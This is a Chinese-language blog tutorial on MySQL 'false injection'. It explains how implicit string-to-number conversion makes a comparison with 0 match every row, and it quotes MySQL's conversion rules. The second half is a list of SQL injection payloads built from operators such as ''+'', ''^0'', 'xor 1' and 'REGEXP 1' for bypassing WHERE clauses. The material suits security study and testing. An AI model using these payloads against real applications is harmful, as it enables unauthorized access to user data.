Fork me on GitHub

MySQL False 注入姿势学习

原文链接

0x01 False Injection

首先是看了文章之后知道了一个MySQL的特性
select * from user where username=0;
enter description here

这条语句指向之后会返回所有值

select * from users where password=0;
enter description here

这里涉及到了MySQL的隐式类型转换

官方文档是这样写的:
The following rules describe how conversion occurs for comparison operations:

If one or both arguments are NULL, the result of the comparison is NULL, except for the NULL-safe <=> equality comparison operator. For NULL <=> NULL, the result is true. No conversion is needed.

If both arguments in a comparison operation are strings, they are compared as strings.

If both arguments are integers, they are compared as integers.

Hexadecimal values are treated as binary strings if not compared to a number.

If one of the arguments is a TIMESTAMP or DATETIME column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to IN()! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using BETWEEN with date or time values, use CAST() to explicitly convert the values to the desired data type.

If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.

In all other cases, the arguments are compared as floating-point (real) numbers


大概意思就是:
如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

最重要的是下面这句话,这是利用点:
字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败

那么,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串的开头是数字的时候会从数字部分截断,转换为数字,所以上面为什么会返回所有值就可以理解了。

利用

where username=''+'';
where username=''-'';
where username=''*'';
where username=''/6;
where username=''%1;
where username=''&0;
where username=''|0;
where username=''^0;

移位操作

<<0# '>>0

比较运算符

where username=''=0<=>1;
where username=''=0<>0;
where username=''>-1;

其他

'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1

Donate comment here